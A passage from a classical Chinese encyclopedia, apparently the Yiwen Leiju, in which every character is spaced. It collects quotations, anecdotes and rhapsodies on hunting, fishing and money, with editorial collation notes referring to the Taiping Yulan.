. 石 苞 贩 铁 之 所 . 翻 临 涯 岸 . 圣 德\n谦 虚 . 未 忘 喧 湫 . 欲 令 吹 箫 舞 鹤 . 还 反 旧 . 卖 卜 屠 羊\n. 请 辞 新 阓 . 而 交 贸 之 党 好 留 . 豳 岐 之 众 难 遣 .\n产 业 部 下 田\n猎 钓 钱\n毛 诗 曰 . 驺 虞 . 鹊 巢 之 应 也 . 鹊 巢 之 化 行 . 人 伦 既 正 . 朝 廷 既 治 . 天 下 纯 被 文 王 之 化 . 庶 类 蕃 殖 . 搜 田 以 时 . 仁 如 驺 虞 . 则 王 道 成 也 .\n六 韬 曰 . 文 王 卜 田 于 渭 阳 . 将 大 得 . 非 熊 非 罴 . 天 遗 汝 师 . 以 之 佐 昌 . 施 及 三 王 . 大 吉 . 王 乃 斋 三 日 . 乘 田 车 . 驾 田 马 . 于 渭 之 阳 . 见 吕 尚 坐 以 渔 . 文 王 劳 而 问 焉 .\n穆 天 子 传 曰 . 天 子 猎 于 渗 泽 . 得 白 狐 玄 貉 . 以 祭 河 宗 .\n晏 子 曰 . 景 公 田 . 十 有 八 日 不 反 . 晏 子 往 见 . 而 衣 冠 不 正 . 公 望 见 晏 子 下 车 . 急 曰 . 夫 子 何 遽 . 得 无 有 故 乎 . 对 曰 . 国 人 皆 谓 君 安 野 而 好 兽 . 无 乃 不 可 乎 . 公 曰 . 寡 人 有 吾 子 . 犹 心 之 有 四 支 也 . 有 四 支 故 心 有 佚 . 寡 人 有 吾 子 . 故 寡 人 佚 . 晏 子 曰 . 若 心 有 四 支 而 得 佚 . 则 可 令 四 支 无 心 乎 . 公 乃 罢 田 而 归 .\n庄 子 曰 . 梁 君 出 猎 . 见 白 雁 群 . 下 彀 弩 欲 射 之 . 道 有 行 者 . 梁 君 谓 行 者 止 . 行 者 不 止 . 白 雁 群 骇 . 梁 君 怒 . 欲 射 行 者 . 其 御 公 孙 龙 止 之 . 梁 君 怒 曰 . 龙 不 与 其 君 . 而 顾 他 人 . 对 曰 . 昔 宋 景 公 时 大 旱 . 卜 之 . 必 以 人 祠 乃 雨 . 景 公 下 堂 顿 首 曰 . 吾 所 以 求 雨 . 为 民 也 . 今 必 使 吾 以 人 祠 乃 雨 . 将 自 当 之 . 言 未 卒 而 大 雨 . 何 也 . 为 有 德 于 天 而 惠 于 民 也 . 君 以 白 雁 故 而 欲 射 杀 人 . 主 君 譬 人 无 异 于 豺 狼 也 . 梁 君 乃 与 龙 上 车 归 . 呼 万 岁 . 曰 . 乐 哉 . 人 猎 皆 得 禽 兽 . 吾 猎 得 善 言 而 归 .\n韩 子 曰 . 孟 孙 猎 . 得 麑 . 使 西 秦 ○ 太 平 御 览 八 百 三 十 二 作 秦 西 . 下 同 . 巴 持 之 . 其 母 随 而 呼 之 . 西 秦 巴 不 忍 . 而 与 其 母 . 孟 孙 适 至 . 求 麑 . 对 曰 . 余 不 忍 而 与 其 母 . 孟 孙 大 怒 . 逐 之 . 居 三 月 . 复 召 为 其 子 傅 . 曰 . 夫 子 不 忍 麑 . 又 且 忍 吾 子 乎 .\n战 国 策 曰 . 魏 文 侯 与 虞 人 期 猎 . 具 . 以 饮 酒 乐 . 天 雨 . 文 侯 将 出 . 左 右 曰 . 今 日 饮 酒 乐 . 天 雨 . 君 将 焉 之 . 文 侯 曰 . 吾 与 虞 人 期 猎 . 虽 乐 . 岂 不 一 会 期 哉 . 乃 往 自 罢 之 . 魏 于 是 始 强 .\n史 记 曰 . 田 叔 为 鲁 相 . 鲁 王 好 猎 . 相 常 从 苑 中 . 王 辄 休 相 就 馆 舍 . 相 出 . 常 暴 坐 待 王 苑 外 . 王 数 使 人 请 相 休 . 终 不 休 . 曰 . 我 王 暴 露 苑 中 . 我 独 何 为 就 舍 . 鲁 王 闻 之 . 不 大 出 游 .\n魏 志 曰 . 文 帝 将 出 猎 . 鲍 勋 上 疏 谏 . 帝 手 毁 其 疏 而 竟 行 . 中 道 顿 息 . 问 侍 臣 曰 . 猎 之 为 乐 . 何 与 八 音 也 . 侍 中 刘 晔 对 曰 . 猎 胜 于 乐 . 勋 抗 辞 曰 . 夫 乐 上 通 神 明 . 下 和 人 理 . 隆 治 致 化 . 万 邦 咸 乂 . 故 移 风 易 俗 . 莫 善 于 乐 . 况 猎 暴 华 盖 于 原 野 . 因 奏 晔 佞 谀 不 忠 .\n江 表 传 曰 . 曹 公 与 孙 权 书 云 . 近 者 奉 辞 伐 罪 . 旌 麾 南 指 . 刘 琮 束 手 . 今 水 军 八 十 万 众 . 方 与 将 军 会 猎 于 吴 .\n王 隐 晋 书 曰 . 魏 舒 少 工 射 . 着 韦 衣 . 入 山 泽 . 每 猎 大 获 .\n世 说 曰 . 孙 盛 为 庾 公 记 室 参 军 . 从 猎 . 将 其 第 三 儿 齐 庄 俱 行 . 庾 公 不 知 . 忽 于 猎 场 见 庄 . 时 年 七 八 岁 . 庾 公 谓 曰 . 君 儿 亦 复 来 乎 . 应 声 答 曰 . 所 谓 无 小 无 大 . 从 公 于 迈 .\n吴 地 记 曰 . 长 洲 在 姑 苏 南 . 太 湖 北 岸 . 阖 闾 所 游 猎 处 也 . 吴 先 主 使 徐 详 至 魏 . 魏 太 祖 谓 详 曰 . 孤 愿 越 横 江 之 津 . 与 孙 将 军 游 姑 苏 之 上 . 猎 长 洲 之 苑 . 吾 志 足 矣 .\n【 诗 】 周 王 褒 和 张 侍 中 看 猎 诗 曰 . 上 林 冬 狩 反 . 回 中 讲 射 归 . 还 登 宣 曲 观 . 更 猎 黄 山 围 . 严 冬 桑 柘 惨 . 寒 霜 马 骑 肥 . 卢 随 兔 起 . 高 鹰 接 雉 飞 . 独 嗟 来 远 客 . 辛 苦 倦 边 衣 .\n陈 张 正 见 和 诸 葛 览 从 军 游 诗 曰 . 治 兵 耀 武 节 . 纵 猎 骇 畿 封 . 迅 鹢 驰 千 里 . 高 罝 起 百 重 . 腾 毙 马 足 . 饥 鼯 落 剑 锋 . 云 根 飞 烧 火 . 鸟 道 绝 禽 踪 . 方 罗 四 海 俊 . 聊 以 习 军 容 .\n【 赋 】 汉 司 马 相 如 子 虚 上 林 赋 曰 . 楚 使 子 虚 使 于 齐 . 齐 王 悉 发 境 内 之 士 . 备 车 骑 之 众 . 与 使 者 出 田 . 田 罢 . 子 虚 过 诧 乌 有 先 生 . 而 亡 是 公 存 焉 . 先 生 曰 . 今 日 田 乐 乎 . 子 虚 曰 . 乐 . 获 多 乎 . 曰 . 少 . 然 则 何 乐 . 曰 . 仆 乐 王 之 欲 夸 仆 以 车 骑 之 众 . 而 仆 答 以 云 梦 之 事 . 曰 . 可 得 闻 乎 . 子 虚 曰 . 可 . 王 驾 车 千 乘 . 选 徒 万 骑 . 田 于 海 滨 . 列 卒 满 泽 . 罘 网 弥 山 . 掩 兔 辚 鹿 . 射 麋 脚 驎 . 骛 于 盐 浦 . 割 鲜 染 轮 . 射 中 获 多 . 矜 而 自 功 . 顾 谓 仆 曰 . 楚 王 之 猎 . 孰 与 寡 人 . 仆 对 曰 . 臣 闻 楚 有 七 泽 . 尝 睹 其 一 . 未 见 其 余 也 . 臣 之 所 见 . 盖 特 小 小 者 耳 . 名 曰 云 梦 . 云 梦 者 . 方 九 百 里 . 其 中 有 山 焉 . 其 山 则 盘 纡 岪 郁 . 岑 崟 参 差 . 日 月 蔽 亏 . 交 错 纠 纷 . 上 干 青 云 . 其 东 则 有 蕙 圃 蘅 兰 . 若 射 干 . 芎 藭 菖 蒲 . 茳 蓠 芜 . 其 高 燥 则 生 箴 菥 苞 荔 . 薜 莎 青 薠 . 其 卑 湿 则 生 藏 莨 蒹 葭 . 东 蘠 雕 胡 . 其 西 则 有 涌 泉 清 池 . 激 水 推 移 . 外 发 芙 蓉 菱 华 . 内 隐 巨 石 白 沙 . 其 北 则 有 阴 林 巨 树 . 楩 楠 豫 章 . 桂 椒 木 兰 . 檗 离 朱 杨 . 其 上 则 有 鹓 雏 孔 鸾 . 腾 远 射 干 . 楚 王 乃 驾 驯 驳 之 驷 . 乘 雕 玉 之 舆 . 靡 鱼 须 之 桡 旃 . 曳 明 月 之 珠 旗 . 阳 子 骖 乘 . 阿 为 御 . 按 节 未 舒 . 即 凌 狡 兽 . 蹴 蛩 蛩 . 辚 駏 驉 . 轶 野 马 . 騊 駼 . 乘 遗 风 . 射 游 骐 . 射 不 虚 发 . 中 必 决 眦 . 洞 胸 达 腋 绝 乎 心 系 . 于 是 郑 女 曼 姬 . 被 阿 緆 . 投 纻 缟 . 杂 纤 罗 . 垂 雾 縠 . 飞 襳 垂 髾 . 扶 舆 倚 靡 . 错 翡 翠 之 葳 蕤 . 缪 绕 玉 绥 . 眇 眇 忽 忽 . 若 神 仙 之 髣 佛 . 于 是 乃 相 与 獠 于 蕙 圃 . 掩 翡 翠 . 射 鵔 鸃 . 怠 而 后 发 . 游 于 清 池 . 浮 文 鹢 . 扬 旌 枻 . 张 翠 帷 . 建 羽 盖 . 网 玳 瑁 . 钩 紫 贝 . 摐 金 鼓 . 吹 鸣 籁 . 榜 人 歌 . 声 流 喝 . 涌 泉 起 . 奔 物 ○ 汉 书 司 马 相 如 传 . 文 选 七 作 扬 . 会 . 磊 石 相 击 . 硠 硠 磕 磕 . 若 雷 霆 之 声 . 闻 乎 数 百 里 之 外 . 于 是 楚 王 登 阳 云 之 台 . 泊 乎 无 为 . 澹 乎 自 持 . 不 若 大 王 . 终 日 驰 骋 . 曾 不 下 舆 . 臣 窃 观 之 . 齐 殆 不 如 . 乌 有 先 生 曰 . 是 何 言 之 过 也 . 且 齐 东 渚 巨 海 . 南 有 琅 邪 . 观 乎 成 山 . 射 乎 之 罘 . 浮 渤 澥 . 游 孟 诸 . 邪 与 肃 慎 为 邻 . 右 以 汤 谷 为 界 . 秋 田 乎 青 丘 . 傍 偟 乎 海 外 . 吞 若 云 梦 者 八 九 . 于 其 胸 中 . 曾 不 蒂 芥 . 然 在 诸 侯 之 位 . 不 敢 言 游 戏 之 乐 . 苑 囿 之 大 . 先 生 又 见 客 . 是 以 王 词 不 复 . 何 为 亡 以 应 哉 .\n上 林 赋 . 亡 是 公 子 ○ 子 字 衍 . 听 然 而 笑 曰 . 楚 则 失 矣 . 而 齐 亦 未 为 得 也 . 且 齐 楚 之 事 . 又 焉 足 道 乎 . 君 未 睹 夫 巨 丽 也 . 独 不 闻 乎 天 子 之 上 林 乎 . 左 苍 梧 . 右 西 极 . 丹 水 更 其 南 . 紫 渊 径 其 北 . 终 始 灞 浐 . 出 入 泾 渭 . 沣 镐 潦 潏 . 纡 徐 逶 迤 . 经 营 乎 其 内 . 荡 荡 乎 八 川 . 分 流 相 背 而 异 态 . 于 是 乎 蛟 龙 赤 螭 . ● 渐 离 . 鰅 鰬 魠 . 禺 禺 魼 鳎 . 揵 鬐 掉 尾 . 振 鳞 奋 翼 . 潜 处 乎 深 岩 . 明 月 珠 子 . 的 皪 江 靡 . 蜀 石 黄 ● . 水 玉 磊 砢 . 鸿 鹔 鹄 ● . 鴐 鹅 鳿 . 群 浮 乎 其 上 . 沈 淫 泛 滥 . 随 风 澹 澹 . 与 波 摇 荡 . 掩 薄 水 渚 . 深 林 巨 木 . 巉 岩 参 差 . 九 嵕 嶭 . 南 山 峨 峨 . 掩 以 绿 蕙 . 被 以 茳 蓠 . 糅 以 蘪 芜 . 杂 以 留 夷 . 布 结 缕 . 攒 ● 莎 . 揭 车 蘅 兰 . 稿 本 射 干 . 茈 姜 蘘 荷 . 箴 橙 若 荪 . 鲜 支 黄 砾 . 蒋 芋 青 薠 . 布 护 闳 泽 . 延 蔓 太 原 . 于 是 离 宫 别 馆 . 弥 山 跨 谷 . 高 廊 四 注 . 重 坐 曲 阁 . 华 榱 璧 珰 . 辇 道 逦 属 . 步 周 流 . 长 途 中 宿 . 俛 杳 眇 而 亡 见 . 仰 攀 缘 而 扪 天 . 奔 星 更 于 闺 闼 . 冤 虹 杝 于 楯 轩 . 于 是 乎 卢 橘 夏 熟 . 黄 甘 橙 榛 . 枇 杷 橪 柿 . 樗 枣 杨 梅 . 樱 桃 蒲 陶 . 隐 夫 郁 棣 . 扬 翠 叶 . 抗 紫 茎 . 发 红 华 . 秀 朱 荣 . 煌 煌 扈 扈 . 烛 燿 巨 野 . 背 秋 涉 冬 . 天 子 校 猎 . 乘 镂 象 . 六 玉 虬 . 扡 蜺 旌 . 靡 云 旗 . 前 皮 轩 . 后 道 游 . 孙 叔 奉 辔 . 卫 公 骖 乘 . 江 河 为 阹 . 太 山 为 橹 . 车 骑 雷 起 . 殷 天 动 地 . 生 貔 豹 . 抟 豺 狼 . 手 熊 罴 . 足 野 羊 . 箭 不 苟 害 . 解 脰 陷 脑 . 弓 不 虚 发 . 应 声 而 倒 . 然 后 侵 淫 促 节 . 倏 敻 远 去 . 流 离 轻 禽 . 蹴 履 狡 兽 . 择 肉 后 发 . 先 中 命 处 . 拂 鹥 鸟 . 捎 凤 皇 . 捷 鸳 鶵 . 掩 鹪 鹏 . 蹶 石 关 . 历 封 峦 . 过 鳷 鹊 . 望 露 寒 . 下 棠 梨 . 息 宜 春 . 西 驰 宣 曲 . 濯 鹢 牛 首 . 登 龙 台 . 掩 细 柳 . 于 是 游 戏 懈 怠 . 置 酒 乎 颢 天 之 台 . 张 乐 乎 胶 葛 之 宇 . 撞 千 石 之 钟 . 立 万 石 之 虡 . 建 翠 华 之 旗 . 树 灵 鼍 之 鼓 . 奏 陶 唐 氏 之 舞 . 听 葛 天 氏 之 歌 . 千 人 唱 . 万 人 和 . 巴 俞 宋 蔡 . 淮 南 千 遮 . 文 成 颠 歌 . 族 居 递 奏 . 金 鼓 迭 起 . 铿 枪 闛 鞳 . 洞 心 骇 耳 . 荆 吴 郑 卫 之 声 . 韶 濩 武 象 之 乐 . 阴 淫 移 衍 之 音 . 鄢 郢 缤 纷 . 激 楚 结 风 . 若 夫 青 琴 宓 妃 之 徒 . 绝 殊 离 俗 . 妖 冶 闲 都 . 靓 妆 刻 饰 . 妩 媚 孅 弱 . 皓 齿 灿 烂 . 宜 笑 的 皪 . 色 授 魂 与 . 心 愉 于 侧 . 酒 中 乐 酣 . 天 子 曰 . 嗟 乎 此 太 奢 侈 . 于 是 历 吉 日 以 斋 戒 . 袭 朝 衣 . 乘 法 驾 . 建 华 旗 . 鸣 玉 鸾 . 游 于 六 艺 之 囿 . 驰 骛 仁 义 之 途 . 脩 容 乎 礼 园 . 翱 翔 乎 书 圃 .\n汉 杨 雄 羽 猎 赋 曰 . 武 帝 广 开 上 林 . 东 南 至 宜 春 鼎 湖 . 御 宿 昆 吾 . 傍 南 山 . 西 至 长 杨 五 柞 . 北 绕 黄 山 . 滨 渭 而 东 . 周 袤 数 百 里 . 聊 因 校 猎 以 风 . 玄 冬 季 月 . 天 地 隆 冽 . 乃 诏 虞 人 典 泽 . 东 延 邻 . 西 驰 阊 阖 . 储 积 共 偫 . 戎 卒 夹 道 . 斩 丛 棘 . 夷 野 草 . 御 自 汧 渭 . 经 营 酆 镐 . 营 合 围 会 . 先 置 乎 长 杨 之 南 . 昆 明 灵 沼 之 东 . 荷 垂 天 之 罼 . 张 竟 之 罘 . 靡 日 月 之 朱 竿 . 曳 彗 星 之 飞 旗 . 涣 若 天 星 之 罗 . 浩 如 涛 水 之 波 . 淫 淫 与 与 . 前 后 要 遮 . 立 历 天 之 旗 . 曳 梢 星 之 旃 . 霹 雳 列 缺 . 吐 火 施 鞭 . 车 骑 云 会 . 登 降 闇 蔼 . 泰 华 为 旗 . 熊 耳 为 缀 . 木 仆 山 还 . 漫 若 天 外 . 于 是 鸟 不 及 飞 . 兽 不 得 过 . 军 惊 师 骇 . 刮 野 扫 地 . 禽 殚 中 衰 . 相 与 集 于 靖 冥 之 馆 . 以 临 珍 池 . 灌 以 岐 梁 . 溢 以 江 河 . 东 瞰 目 尽 . 西 畅 亡 涯 . 随 珠 ○ 文 选 珠 下 有 和 字 . 此 脱 . 氏 . 焯 烁 其 波 . 方 椎 夜 光 之 流 离 . 剖 明 月 之 珠 胎 . 于 兹 乎 鸿 生 巨 儒 . 修 唐 典 . 匡 雅 颂 . 揖 让 于 前 . 昭 光 振 耀 . 响 忽 如 神 . 仁 声 惠 于 北 狄 . 武 谊 动 于 南 邻 .\n后 汉 张 衡 羽 猎 赋 曰 . 皇 上 感 天 威 之 缪 烈 . 思 太 昊 之 观 虞 . 虞 人 表 林 麓 而 廓 菜 薮 . 翦 荆 梓 而 夷 榛 株 . 于 是 凤 皇 献 历 . 太 仆 驾 具 . 蚩 尤 先 驱 . 雨 师 清 路 . 山 灵 护 阵 . 方 神 跸 御 . 羲 和 奉 辔 . 弭 节 西 征 . 翠 盖 葳 蕤 . 鸾 鸣 砱 . 山 谷 为 之 澹 淡 . 丘 陵 为 之 簸 倾 . 于 是 皇 舆 绸 缪 . 迁 延 容 与 . 抗 天 津 于 伊 洛 . 敻 遥 集 乎 南 圃 . 大 诏 猎 者 . 竟 逐 长 驱 . 轻 车 飙 厉 . 羽 骑 电 骛 . 雾 合 云 集 . 波 流 雨 注 . 马 蹂 麋 鹿 . 轮 辚 雉 兔 . 弓 不 妄 弯 . 弩 不 虚 举 . 鸟 惊 絓 罗 . 兽 与 矢 遇 .\n魏 文 帝 校 猎 赋 曰 . 长 铩 纠 霓 . 飞 旗 拂 天 . 部 曲 按 列 . 什 伍 相 连 . 跱 如 丛 林 . 动 若 崩 山 . 超 崇 岸 之 曾 崖 . 厉 障 澨 之 双 川 . 列 翠 星 陈 . 戎 车 方 毂 . 风 回 云 转 . 埃 连 飙 属 . 雷 响 震 天 地 . 噪 声 荡 川 岳 . 遂 封 狶 . 籍 麈 鹿 . 梢 飞 鸢 . 接 鸑 鷟 . 聚 者 成 丘 陵 . 散 者 阗 溪 谷 . 流 血 赫 其 丹 野 . 羽 毛 纷 其 翳 日 . 考 功 效 绩 . 班 赐 有 叙 . 授 甘 炰 . ○ 句 有 脱 文 . 飞 酌 清 酤 . 割 鲜 野 享 . 举 爵 鸣 鼓 . 銮 舆 促 节 . 骋 辔 回 翔 . 望 爵 台 而 增 举 . 涉 幽 堑 之 花 梁 .\n魏 王 粲 羽 猎 赋 曰 . 相 公 乃 乘 轻 轩 . 驾 四 辂 . 驸 流 星 . 属 繁 弱 . 选 徒 命 士 . 咸 与 竭 作 . 旌 旗 云 桡 . 锋 刃 林 错 . 扬 晖 吐 火 . 曜 野 蔽 泽 . 山 川 于 是 摇 荡 . 草 木 为 之 摧 拨 . 禽 兽 振 骇 . 魂 亡 气 夺 . 兴 头 触 系 . 摇 足 遇 ● . 陷 心 裂 胃 . 溃 脑 破 颡 . 鹰 犬 竞 逐 . 弈 弈 霏 霏 . 下 鞲 穷 . 抟 肉 噬 肌 . 坠 者 若 抵 . 清 野 涤 原 . 莫 不 歼 夷 .\n魏 应 玚 西 狩 赋 曰 . 伊 炎 汉 之 建 安 . 飞 龙 耀 乎 天 衢 . 皇 宰 弈 而 陶 运 . 树 匡 翼 而 大 摹 . 荡 无 妄 之 氛 秽 . 扬 威 灵 乎 八 区 . 开 九 土 之 旧 迹 . 暨 声 教 于 海 隅 . 时 霜 凄 而 淹 野 . 寒 风 肃 而 川 逝 . 草 木 纷 而 摇 荡 . 鸷 鸟 别 而 高 厉 . 既 乃 拣 吉 日 . 练 嘉 辰 . 清 风 矢 戒 . 屏 翳 收 尘 . 于 是 魏 公 乃 乘 雕 辂 . 驷 飞 黄 . 拥 箫 钲 . 建 九 . ○ 句 有 脱 文 . 按 辔 清 途 . 飒 沓 风 翔 . 于 是 围 网 周 合 . 雷 鼓 天 震 . 千 乘 长 罗 . 万 表 星 陈 . 双 翼 伉 旌 . 八 校 祖 分 . 长 燧 电 举 . 高 烟 蔽 云 . 尔 乃 徒 舆 并 兴 . 方 轨 连 质 . 惊 飙 四 骇 . 冲 禽 惊 溢 . 骋 兽 塞 野 . 飞 鸟 蔽 日 . 尔 乃 赴 玄 谷 . 陵 崇 峦 . 俯 掣 奔 猴 . 仰 捷 飞 猿 . 云 幕 被 于 广 野 . 京 燎 照 乎 平 原 . 醴 炰 充 给 . 洪 施 普 宣 .\n又 驰 射 赋 曰 . 于 是 阳 春 嘉 日 . 讲 肆 余 暇 . 将 逍 遥 于 郊 野 . 聊 娱 游 于 骋 射 . 延 宾 鞠 旅 . 星 言 夙 驾 . 树 应 鞞 于 路 左 . 建 丹 旗 于 表 路 . 群 骏 笼 于 衡 首 . 咸 皆 騕 褭 与 飞 葂 . 尔 乃 结 翻 仵 . 齐 伦 匹 . 良 乐 授 马 . 孙 膑 调 驷 . 筹 筭 克 明 . 班 次 均 壹 . 左 揽 繁 弱 . 右 接 湛 卫 . 控 满 流 睇 . 应 弦 飞 碎 . 旝 动 鼓 震 . 噪 声 雷 溃 . 重 破 累 ● . 流 景 焂 忽 . 纷 纭 络 驿 . 次 授 二 八 . 骅 骝 激 骋 . 神 足 奔 越 . 终 节 三 驱 . 矢 不 虚 发 . 进 截 飞 乌 . 顾 摧 月 支 . 须 纡 六 钧 . 口 弯 七 规 . 观 者 并 气 而 倾 竦 . 咸 侧 仙 而 腾 移 . 尔 乃 萦 回 盘 厉 . 按 节 和 旋 . 翩 翩 神 厉 . 体 若 飞 仙 . 弈 弈 骍 牡 . 既 佶 且 闲 . 扬 骊 沛 艾 . 蠖 略 相 连 .\n晋 夏 侯 湛 猎 兔 赋 曰 . 尔 乃 乘 露 箱 . 御 良 马 . 循 又 接 于 广 漠 . 弓 矢 连 于 旷 野 . 端 眺 蒿 莱 . 摘 盱 榛 秽 . 落 目 攒 慨 . 傍 窥 蓊 荟 . 视 毚 兔 之 所 隐 . 乃 精 望 而 审 发 . 弦 绝 箭 激 . 惊 伏 并 毙 . 搜 鳞 危 险 . 觅 历 冈 阜 . 留 罾 挂 于 重 林 . 疏 罝 结 于 通 薮 . 密 惊 视 于 草 间 . 暂 见 之 于 蒙 . ○ 句 有 脱 文 . 拟 以 锐 殳 . 规 以 良 弓 . 睹 毫 末 而 放 镞 . 乃 殪 之 于 窟 中 . 或 纷 欻 ● 以 惊 骛 . 影 跳 竦 而 扬 白 . 擢 轻 足 之 茕 茕 . 振 游 形 之 跃 跃 . 弓 不 暇 弯 . 罝 不 及 幕 . 尔 乃 鹰 鹞 翻 以 飘 扬 . 劲 翼 谡 而 下 猘 . 马 释 椌 以 长 骋 . 郁 腾 虚 而 陵 厉 . 翕 习 于 回 阻 之 间 . 绕 缭 于 山 泽 之 际 . 盘 迂 游 田 . 其 乐 泄 泄 . 心 既 倦 兮 日 迁 . 命 舆 驾 兮 将 还 . 息 徒 兰 圃 . 秣 骥 华 田 . 目 送 归 波 . 手 挥 五 弦 . 优 哉 游 哉 . 聊 以 永 年 .\n晋 潘 岳 射 雉 赋 曰 . 涉 青 林 以 游 览 . 乐 羽 族 之 群 飞 . 伟 彩 毛 之 英 丽 . 有 五 色 之 名 翚 . 厉 耿 介 之 专 心 . 张 猛 毅 之 雄 姿 . 于 时 青 阳 告 谢 . 朱 明 肇 授 . 靡 木 弗 滋 . 无 草 不 茂 . 天 英 英 以 垂 云 . 泉 涓 涓 而 吐 霤 . 麦 渐 渐 以 擢 芒 . 雉 鷕 鷕 而 朝 雊 . 郁 轩 翥 以 余 怒 . 思 长 鸣 以 效 态 . 尔 乃 俟 扇 举 而 清 叫 . 野 闻 声 而 应 媒 . 樆 朱 冠 之 赩 ● . 敷 藻 翰 之 陪 鳃 . 或 蹶 或 啄 . 时 行 时 止 . 班 尾 扬 翘 . 双 鱼 特 起 . 应 叱 愕 立 . 擢 身 竦 ● . 捧 黄 闲 以 密 彀 . 属 刚 挂 以 潜 拟 . 山 鷩 悍 害 . 猋 迅 以 甚 . 鲸 牙 低 镞 . 心 平 望 审 . 毛 体 摧 落 . 霍 若 碎 锦 . 逸 群 之 俊 . 擅 场 挟 两 . 栎 雌 妒 异 . 焂 来 忽 往 . 于 是 筭 分 铢 . 商 远 近 . 揆 悬 刀 . 骋 绝 伎 . 当 咮 值 胸 . 裂 素 破 觜 . 若 乃 耽 盘 游 道 . 放 心 不 移 . 乐 而 无 节 . 端 操 或 亏 . 此 老 氏 之 所 戒 . 而 君 子 所 不 为 .\n【 启 】 梁 沈 约 为 皇 太 子 谢 赐 御 所 射 雉 启 曰 . 轻 銮 微 动\n. 密 翳 徐 张 . 黄 闲 所 彀 . 矢 无 虚 发 . 南 皮 之 获 . 未 足 称\n工 . 臣 任 惟 守 器 . 事 隔 陪 奉 . 天 慈 曲 降 . 赐 物 颁 禽 .\n说 苑 曰 . 吕 望 年 七 十 . 钓 于 渭 渚 . 三 日 三 夜 . 鱼 无 食 者 . 与 农 人 言 . 农 人 者 . 古 之 老 贤 人 也 . 谓 望 曰 . 子 将 复 钓 . 必 细 其 纶 . 芳 其 饵 . 徐 徐 而 投 之 . 无 令 鱼 骇 . 望 如 其 言 . 初 下 得 鲋 . 次 得 鲤 . 刳 腹 得 书 . 书 文 曰 . 吕 望 封 于 齐 . 望 知 当 贵 .\n毛 诗 曰 . 其 钓 维 何 . 维 丝 伊 . 齐 侯 之 子 . 平 王 之 孙 .\n论 语 曰 . 钓 而 不 纲 . 弋 不 射 宿 .\n墨 子 曰 . 钓 者 之 恭 . 非 为 鱼 也 . 饵 鼠 以 肉 . 非 爱 之 也 .\n楚 辞 曰 . 以 直 针 而 为 钩 . 维 河 鱼 之 能 得 .\n吕 氏 春 秋 曰 . 善 钓 者 . 引 鱼 于 千 仞 之 下 . 饵 香 也 .\n【 诗 】 陈 阴 铿 观 钓 诗 曰 . 澄 江 息 晚 浪 . 钓 侣 枻 轻 舟 . 垂 丝 遥 溅 水 . 沧 浪 终 滞 游 .\n【 赋 】 晋 潘 尼 钓 赋 曰 . 抗 余 志 于 浮 云 . 乐 余 身 于 蓬 庐\n. 寻 渭 滨 之 远 迹 . 且 游 钓 以 自 娱 . 左 援 脩 竹 . 右 纵 飞 纶\n. 金 钩 厉 钜 . 甘 饵 垂 芬 . 众 鲲 奔 涌 . 游 鳞 横 集 . 触 饵 见\n擒 . 值 钩 被 执 . 长 缴 缤 纷 . 轻 竿 翕 熠 . 云 往 飙 驰 . 光 飞\n电 入 . 曜 灵 未 及 惊 策 . 盖 以 获 其 数 十 . 且 夫 燔 炙 之 鲜 .\n煎 熬 之 味 . 百 品 千 变 . 殊 芳 异 气 . 随 心 适 好 . 不 可 胜 记\n. 乃 命 宰 夫 . 脍 此 潜 鳞 . 电 割 星 流 . 芒 散 缕 解 . 随 风 离\n锷 . 连 翩 雪 累 . 西 戎 之 蒜 . 南 夷 之 姜 . 酸 咸 调 适 . 齐 和\n有 方 . 和 神 安 体 . 易 思 难 忘 .\n六 韬 曰 . 武 王 入 殷 . 散 鹿 台 之 金 钱 . 以 与 殷 民 .\n史 记 曰 . 初 苏 秦 之 燕 . 贷 百 钱 为 资 . 及 贵 . 以 百 金 偿 之 . 遍 报 诸 所 尝 见 德 者 . 其 从 者 一 人 . 独 未 得 报 . 乃 前 自 言 . 苏 秦 曰 . 我 非 忘 子 . 子 之 与 我 至 燕 . 再 三 欲 去 我 易 水 之 上 . 方 是 时 我 困 . 故 望 子 深 . 是 以 后 子 . 子 今 亦 得 矣 .\n又 曰 . 高 祖 以 吏 繇 咸 阳 . 吏 皆 送 奉 钱 三 . 或 三 百 . 或 五 百 . 萧 何 独 以 五 . 侯 ○ 太 平 御 览 八 百 三 十 五 作 后 . 益 封 二 千 户 . 以 独 赢 二 钱 .\n又 曰 . 单 父 人 吕 公 . 善 沛 令 . 避 仇 从 之 客 . 因 家 焉 . 沛 中 豪 杰 吏 . 闻 令 有 客 . 皆 往 贺 . 萧 何 为 主 吏 . 主 进 . 令 诸 大 夫 曰 . 不 满 千 钱 . 坐 之 堂 下 . 高 祖 为 亭 长 . 素 易 诸 吏 . 乃 绐 为 谒 者 曰 . 贺 钱 万 . 实 不 持 一 钱 . 谒 入 . 吕 公 大 惊 . 起 迎 之 门 . 吕 公 者 . 好 相 人 . 见 高 祖 状 貌 . 因 重 敬 之 . 引 入 座 . 萧 何 曰 . 刘 季 故 多 大 言 者 矣 .\n又 曰 . 上 使 善 相 者 相 邓 通 . 曰 . 当 贫 饿 死 . 文 帝 曰 . 能 富 通 者 在 我 . 何 谓 贫 . 于 是 赐 通 蜀 严 道 铜 山 . 得 自 铸 钱 . 号 邓 氏 钱 . 布 天 下 . 见 宠 幸 篇 .\n又 曰 . 汉 兴 七 十 余 年 之 间 . 国 家 无 事 . 廪 庾 皆 满 . 而 库 府 余 货 财 . 京 师 之 钱 . 累 百 巨 万 . 贯 朽 而 不 可 校 .\n又 曰 . 安 息 国 以 银 为 钱 . 钱 如 王 面 .\n汉 书 曰 . 武 帝 时 . 公 卿 请 令 京 师 铸 官 钱 . 赤 仄 . 以 赤 铜 为 其 郛 . 一 当 五 . 官 用 非 赤 仄 . 不 得 行 . 俗 所 谓 紫 绀 钱 .\n又 曰 . 东 方 朔 云 . 侏 儒 长 三 尺 余 . 奉 一 囊 粟 . 钱 二 百 三 十 . 臣 朔 长 九 尺 余 . 亦 一 囊 粟 . 钱 二 百 四 十 .\n又 曰 . 张 安 世 父 子 封 侯 . 在 位 太 盛 . 乃 辞 不 受 禄 . 诏 都 内 别 藏 张 氏 无 名 钱 . 以 百 万 数 . 都 安(太 平 御 览 八 百 三 十 五 作 内 .)主 藏 官 .\n东 观 汉 记 曰 . 光 禄 勋 杜 林 . 与 马 援 乡 里 亲 厚 . 援 南 方 还 时 . 林 马 适 死 . 援 遣 子 持 一 匹 马 遗 林 . 曰 . 朋 友 有 车 之 馈 . 可 以 修 ○ 太 平 御 览 八 百 三 十 五 作 备 . 之 . 居 数 月 . 林 遣 子 奉 书 曰 . 将 军 内 施 九 族 